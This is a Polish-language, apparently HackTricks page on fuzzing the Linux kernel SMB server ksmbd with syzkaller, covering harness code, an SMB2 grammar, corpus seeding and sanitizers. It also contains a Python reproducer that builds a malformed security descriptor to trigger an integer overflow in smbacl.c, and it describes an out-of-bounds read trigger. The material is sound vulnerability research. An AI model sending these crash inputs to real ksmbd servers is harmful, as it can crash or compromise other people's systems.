## Przegląd
Ta strona przedstawia praktyczne techniki do uruchamiania i fuzzowania jądrowego serwera SMB dla Linux (ksmbd) przy użyciu syzkaller. Skupia się na rozszerzaniu attack surface protokołu poprzez konfigurację, budowaniu stateful harness zdolnego do łączenia operacji SMB2, generowaniu składniowo poprawnych PDUs, kierowaniu mutacji w słabo pokrywane ścieżki kodu oraz wykorzystaniu funkcji syzkaller takich jak focus_areas i ANYBLOB. Choć oryginalne badania wymieniają konkretne CVE, tutaj podkreślamy powtarzalną metodologię i konkretne fragmenty, które możesz dostosować do własnych środowisk.
Zakres: SMB2/SMB3 przez TCP. Kerberos i RDMA są celowo poza zakresem, aby zachować prostotę harnessu.
---
## Rozszerz ksmbd Attack Surface przez konfigurację
Domyślnie minimalna konfiguracja ksmbd pozostawia duże części serwera nieprzetestowane. Włącz następujące funkcje, aby przeprowadzić serwer przez dodatkowe parsers/handlers i dotrzeć do głębszych ścieżek kodu:
- Global-level
- Durable handles
- Server multi-channel
- SMB2 leases
- Per-share-level
- Oplocks (on by default)
- VFS objects
Włączenie ich zwiększa wykonanie w modułach takich jak:
- smb2pdu.c (command parsing/dispatch)
- ndr.c (NDR encode/decode)
- oplock.c (oplock request/break)
- smbacl.c (ACL parsing/enforcement)
- vfs.c (VFS ops)
- vfs_cache.c (lookup cache)
Uwagi
- Dokładne opcje zależą od userspace ksmbd w Twojej dystrybucji (ksmbd-tools). Sprawdź /etc/ksmbd/ksmbd.conf oraz sekcje per-share, aby włączyć durable handles, leases, oplocks i VFS objects.
- Multi-channel i durable handles zmieniają maszyny stanów i czasy życia, często ujawniając błędy UAF/refcount/OOB pod obciążeniem współbieżnym.
---
## Authentication and Rate-Limiting Adjustments for Fuzzing
SMB3 wymaga ważnej sesji. Implementacja Kerberos w harnessach dodaje złożoności, więc dla fuzzingu preferuj NTLM/guest:
- Allow guest access and set map to guest = bad user so unknown users fall back to GUEST.
- Akceptuj NTLMv2 (patch policy jeśli wyłączone). To utrzymuje handshake prostym jednocześnie testując ścieżki kodu SMB3.
- Wyłącz rygorystyczne sprawdzanie creditów podczas eksperymentów (post-hardening dla CVE-2024-50285 zaostrzył przydzielanie creditów dla operacji równoczesnych). W przeciwnym razie, rate-limits mogą odrzucić fuzzowane sekwencje zbyt wcześnie.
- Zwiększ max connections (np. do 65536), aby uniknąć wczesnych odrzuceń podczas fuzzingu o dużej przepustowości.
Uwaga: Te ułatwienia służą tylko fuzzingowi. Nie wdrażaj tych ustawień w środowisku produkcyjnym.
---
## Stateful Harness: Extract Resources and Chain Requests
SMB jest stanowy: wiele żądań zależy od identyfikatorów zwracanych w poprzednich odpowiedziach (SessionId, TreeID, FileID pairs). Twój harness musi parsować odpowiedzi i ponownie używać ID w tym samym programie, aby dotrzeć do głębokich handlerów (np. smb2_create → smb2_ioctl → smb2_close).
Przykładowy fragment do przetworzenia bufora odpowiedzi (pomijając +4B długości NetBIOS PDU) i zapisania ID:
```c
// process response. does not contain +4B PDU length
void process_buffer(int msg_no, const char *buffer, size_t received) {
uint16_t cmd_rsp = u16((const uint8_t *)(buffer + CMD_OFFSET));
switch (cmd_rsp) {
case SMB2_TREE_CONNECT:
if (received >= TREE_ID_OFFSET + sizeof(uint32_t))
tree_id = u32((const uint8_t *)(buffer + TREE_ID_OFFSET));
break;
case SMB2_SESS_SETUP:
// first session setup response carries session_id
if (msg_no == 0x01 && received >= SESSION_ID_OFFSET + sizeof(uint64_t))
session_id = u64((const uint8_t *)(buffer + SESSION_ID_OFFSET));
break;
case SMB2_CREATE:
if (received >= CREATE_VFID_OFFSET + sizeof(uint64_t)) {
persistent_file_id = u64((const uint8_t *)(buffer + CREATE_PFID_OFFSET));
volatile_file_id = u64((const uint8_t *)(buffer + CREATE_VFID_OFFSET));
}
break;
default:
break;
}
}
```
Wskazówki
- Keep one fuzzer process sharing authentication/state: better stability and coverage with ksmbds global/session tables. syzkaller still injects concurrency by marking ops async, rerun internally.
- Syzkallers experimental reset_acc_state can reset global state but may introduce heavy slowdown. Prefer stability and focus fuzzing instead.
---
## Generowanie SMB2 sterowane gramatyką (prawidłowe PDUs)
Przekształć struktury SMB2 z Microsoft Open Specifications w gramatykę dla fuzzer, aby twój generator produkował strukturalnie prawidłowe PDUs, które systematycznie docierają do dispatcherów i handlerów IOCTL.
Przykład (SMB2 IOCTL request):
```
smb2_ioctl_req {
Header_Prefix SMB2Header_Prefix
Command const[0xb, int16]
Header_Suffix SMB2Header_Suffix
StructureSize const[57, int16]
Reserved const[0, int16]
CtlCode union_control_codes
PersistentFileId const[0x4, int64]
VolatileFileId const[0x0, int64]
InputOffset offsetof[Input, int32]
InputCount bytesize[Input, int32]
MaxInputResponse const[65536, int32]
OutputOffset offsetof[Output, int32]
OutputCount len[Output, int32]
MaxOutputResponse const[65536, int32]
Flags int32[0:1]
Reserved2 const[0, int32]
Input array[int8]
Output array[int8]
} [packed]
```
Ten styl wymusza poprawne structure sizes/offsets i znacząco poprawia coverage w porównaniu do blind mutation.
---
## Directed Fuzzing With focus_areas
Użyj eksperymentalnego focus_areas syzkallera, aby przypisać większą wagę konkretnym funkcjom/plikom, które obecnie mają słabe coverage. Przykładowy JSON:
```json
{
"focus_areas": [
{"filter": {"functions": ["smb_check_perm_dacl"]}, "weight": 20.0},
{"filter": {"files": ["^fs/smb/server/"]}, "weight": 2.0},
{"weight": 1.0}
]
}
```
To pomaga skonstruować poprawne ACLs, które trafiają w ścieżki arytmetyczne/overflow w smbacl.c. Na przykład złośliwy Security Descriptor z nadmiernym dacloffset powoduje integer-overflow.
Skrypt tworzący reproduktora (minimalny, Python):
```python
def build_sd():
import struct
sd = bytearray(0x14)
sd[0x00] = 0x00; sd[0x01] = 0x00
struct.pack_into('<H', sd, 0x02, 0x0001)
struct.pack_into('<I', sd, 0x04, 0x78)
struct.pack_into('<I', sd, 0x08, 0x00)
struct.pack_into('<I', sd, 0x0C, 0x10000)
struct.pack_into('<I', sd, 0x10, 0xFFFFFFFF) # dacloffset
while len(sd) < 0x78:
sd += b'A'
sd += b"\x01\x01\x00\x00\x00\x00\x00\x00" # minimal DACL
sd += b"\xCC" * 64
return bytes(sd)
```
---
## Przełamywanie stagnacji pokrycia za pomocą ANYBLOB
syzkallers anyTypes (ANYBLOB/ANYRES) pozwalają zwinąć złożone struktury w bloby, które mutują w sposób ogólny. Zainicjuj nowy corpus z publicznych SMB pcaps i skonwertuj payloady na programy syzkaller wywołujące twój pseudo-syscall (np. syz_ksmbd_send_req):
```bash
# Extract SMB payloads to JSON
# tshark -r smb2_dac_sample.pcap -Y "smb || smb2" -T json -e tcp.payload > packets.json
```
```python
import json, os
os.makedirs("corpus", exist_ok=True)
with open("packets.json") as f:
data = json.load(f)
# adjust indexing to your tshark JSON structure
packets = [e["_source"]["layers"]["tcp.payload"] for e in data]
for i, pkt in enumerate(packets):
pdu = pkt[0]
pdu_size = len(pdu) // 2 # hex string length → bytes
with open(f"corpus/packet_{i:03d}.txt", "w") as f:
f.write(
f"syz_ksmbd_send_req(&(&(0x7f0000000340))=ANY=[@ANYBLOB=\"{pdu}\"], {hex(pdu_size)}, 0x0, 0x0)"
)
```
To przyspiesza eksplorację i może natychmiast wywołać UAFs (np. w ksmbd_sessions_deregister), jednocześnie podnosząc pokrycie o kilka procent.
---
## Sanitizery: poza KASAN
- KASAN pozostaje głównym detektorem błędów sterty (UAF/OOB).
- KCSAN często generuje fałszywe alarmy lub wyścigi danych o niskiej istotności w tym przypadku.
- UBSAN/KUBSAN mogą wykryć błędy zadeklarowanych granic, które KASAN pomija ze względu na semantykę indeksów tablic. Przykład:
```c
id = le32_to_cpu(psid->sub_auth[psid->num_subauth - 1]);
struct smb_sid {
__u8 revision; __u8 num_subauth; __u8 authority[NUM_AUTHS];
__le32 sub_auth[SID_MAX_SUB_AUTHORITIES]; /* sub_auth[num_subauth] */
} __attribute__((packed));
```
Ustawienie num_subauth = 0 wywołuje in-struct OOB read sub_auth[-1], wykrywany przez UBSANs declared-bounds checks.
---
## Uwagi o przepustowości i równoległości
- Pojedynczy proces fuzzera (shared auth/state) zwykle jest znacznie bardziej stabilny dla ksmbd i nadal ujawnia races/UAFs dzięki syzkallers internal async executor.
- Przy wielu VMs można nadal osiągać setki poleceń SMB/sekundę łącznie. Pokrycie na poziomie funkcji rzędu ~60% fs/smb/server i ~70% smb2pdu.c jest osiągalne, choć pokrycie przejść stanów jest niedoszacowane przez takie metryki.
---
## Praktyczna lista kontrolna
- Włącz durable handles, leases, multi-channel, oplocks i VFS objects w ksmbd.
- Zezwól na guest i map-to-guest; akceptuj NTLMv2. Pozbądź się credit limits i zwiększ max connections dla stabilności fuzzera.
- Zbuduj stateful harness, który cacheuje SessionId/TreeID/FileIDs i łączy create → ioctl → close.
- Użyj grammar dla SMB2 PDUs, aby zachować poprawność strukturalną.
- Użyj focus_areas, by przydzielić większą wagę słabo pokrytym funkcjom (np. ścieżki w smbacl.c jak smb_check_perm_dacl).
- Seeduj ANYBLOBami z realnych pcaps, aby przełamać plateau; pakuj seedy z syz-db do ponownego użycia.
- Uruchamiaj z KASAN + UBSAN; dokładnie triageuj raporty UBSAN declared-bounds.
---
## Referencje
- Doyensec ksmbd Fuzzing (Part 2): https://blog.doyensec.com/2025/09/02/ksmbd-2.html
- syzkaller: https://github.com/google/syzkaller
- ANYBLOB/anyTypes (commit 9fe8aa4): https://github.com/google/syzkaller/commit/9fe8aa4
- Async executor change (commit fd8caa5): https://github.com/google/syzkaller/commit/fd8caa5
- syz-db: https://github.com/google/syzkaller/tree/master/tools/syz-db
- KASAN: https://docs.kernel.org/dev-tools/kasan.html
- UBSAN/KUBSAN: https://docs.kernel.org/dev-tools/ubsan.html
- KCSAN: https://docs.kernel.org/dev-tools/kcsan.html
- Microsoft Open Specifications (SMB): https://learn.microsoft.com/openspecs/
- Wireshark Sample Captures: https://wiki.wireshark.org/SampleCaptures
- Materiały uzupełniające: pwning.tech “Tickling ksmbd: fuzzing SMB in the Linux kernel”; Dongliang Mus syzkaller notes
{{#include ../../banners/hacktricks-training.md}}